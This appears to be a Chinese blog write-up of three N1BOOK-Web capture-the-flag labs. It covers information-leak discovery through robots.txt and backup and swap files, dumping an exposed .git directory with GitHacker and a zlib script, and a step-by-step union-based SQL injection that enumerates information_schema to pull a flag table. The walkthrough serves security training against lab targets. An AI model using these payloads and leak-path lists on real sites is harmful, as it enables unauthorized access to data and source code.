N1BOOK-Web

常见的搜集

首先查看robots.txt查看有无敏感路径,发现disallow:/flag1_is_her3_fun.txt,接着访问该路径得到flag1:n1book{info_1,这里我们发现flag被分成了多段,接着找

TIPS:robots.txt — 可能泄露不想被爬取的路径

index.php~ / index.html~ — 编辑器备份文件

.index.php.swp / .index.html.swp — Vim 交换文件

index.php.bak / backup.zip / www.zip — 手动备份

.git/HEAD / .svn/entries — 版本控制泄露

.DS_Store — macOS 目录信息泄露

sitemap.xml — 站点地图可能列出版面

这里我们继续访问index.php~发现flag2:s_v3ry_im,没见到花括号说明还有,接着往下尝试访问/.index.php.swp下载了一个文件,选择记事本打开,搜索flag找到最后一段flag3:p0rtant_hack},拼起来得到完整flag:n1book{info_1s_v3ry_imp0rtant_hack}

萌新做题直接按f12看源代码被干扰项撞飞了wwww

粗心的小李

进入靶机发现无法正常访问,尝试robots.txt无果后发现访问index.php会弹出Apache/2.4.38 (Debian) Server at 3c049a10-c5f5-42be-a3cb-e035c4b5281e.node5.buuoj.cn Port 80,看了一下当前是81端口,访问80端口发现可以正常访问了。

接着看到是git泄露,小李吧整个文件夹放到了git上,于是跟着上一题的tips,访问.git/HEAD发现了存放对象的文件夹ref: refs/heads/master

访问该文件夹/.git/refs/heads/master,得到commit对象213b7e386e9b0b406d91fae58bf8be11a58c3f88,接着访问该对象/.git/objects/21/3b7e386e9b0b406d91fae58bf8be11a58c3f88,直接下载发现用7z或者rar解压不了,这是因为Git 对象用的是 zlib 压缩,所以用python脚本/git命令/GitHacker 一把梭都可以,我用的是一把梭,命令如下:

githacker --url http://3c049a10-c5f5-42be-a3cb-e035c4b5281e.node5.buuoj.cn:81 --output-folder "D:\buuctf-web\web2-粗心的小李"
cd "D:\buuctf-web\web2-粗心的小李\86cd41a436a770ef83a9de32f90ffbb0"
D:
dir
type index.html

最后在底部找到flag:n1book{git_looks_s0_easyfun}

python脚本:

import zlib
import os

  # 先建好完整路径
os.makedirs('objects/21', exist_ok=True)

  # 把你的文件移过去
os.rename('3b7e386e9b0b406d91fae58bf8be11a58c3f88',
            'objects/21/3b7e386e9b0b406d91fae58bf8be11a58c3f88')

  # zlib 解压
data = open('objects/21/3b7e386e9b0b406d91fae58bf8be11a58c3f88', 'rb').read()
content = zlib.decompress(data)
print(content.decode('utf-8', errors='replace'))

解压过后发现tree对象,同上继续下载,解压得到文件列表:一个index.html和它的blob hash,下载blob对象,解压后就是index.html的源代码,打开找到底部的flag

TIPS:Git 把对象存在 .git/objects/ 下,路径 = hash前2位 / hash剩余部分

SQL注入-1

访问靶机发现URL后缀变为?id=1,这个页面没有有效信息,把1改成2试试,发现一篇新文章,但也没用,换成3,发现提示:if too diffcult ,add &tips=1 to the url !我们在URL后面加上&tips=1,发现会直接让我们看到实际执行的sql语句。

注入的入口在于’可以破坏原本的sql语句,在我们想注入的语句最后加#把原本的’注释掉就可以了(直接在地址栏用#需要换成对应的编码形式%23/空格对应%20/’对应%27)

这里我们先搞清楚表有几列,把url换成id=-1′ union select 1,2%23&tips=1,发现没有回显标题也没变,接着换成id=-1′ union select 1,2,3%23&tips=1发现第二列有回显,这说明表有三列

接着查看第二列数据库的名字:id=-1′ union select 1,database(),3%23&tips=1,发现名字为note

再查看数据库里有哪些表:id=-1′ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’note’%23,结果标题显示:fl4g,notes很明显应该在fl4g里

查看表里有多少列:d=-1′ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’fl4g’%23,结果标题显示:fllllag

最后从列里获取flag:id=-1′ union select 1,fllllag,3 from fl4g%23

在标题中得到最后flag:n1book{union_select_is_so_cool}

TIPS:不知道为什么在地址栏里空格和’不改都可以,但#必须改

information_schema.tables mysql自带的元数据表 记录了所有数据库的所有表名,相当于目录

where table_schema=’note’ 筛选条件 只要note这个库里的表,过滤掉系统表

group+concat(table_name) 把所有表拼成一行 表名可能有多个,不拼的话只显示第一个

information_schema.columns 记录了所有数据库所有表的列名

where table_name=’fl4g’ 只看fl4g这个表的列

select 1, fllllag,3 把fllllag列放到第二个位置(有回显)

from fl4g 从fl4g表里取

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇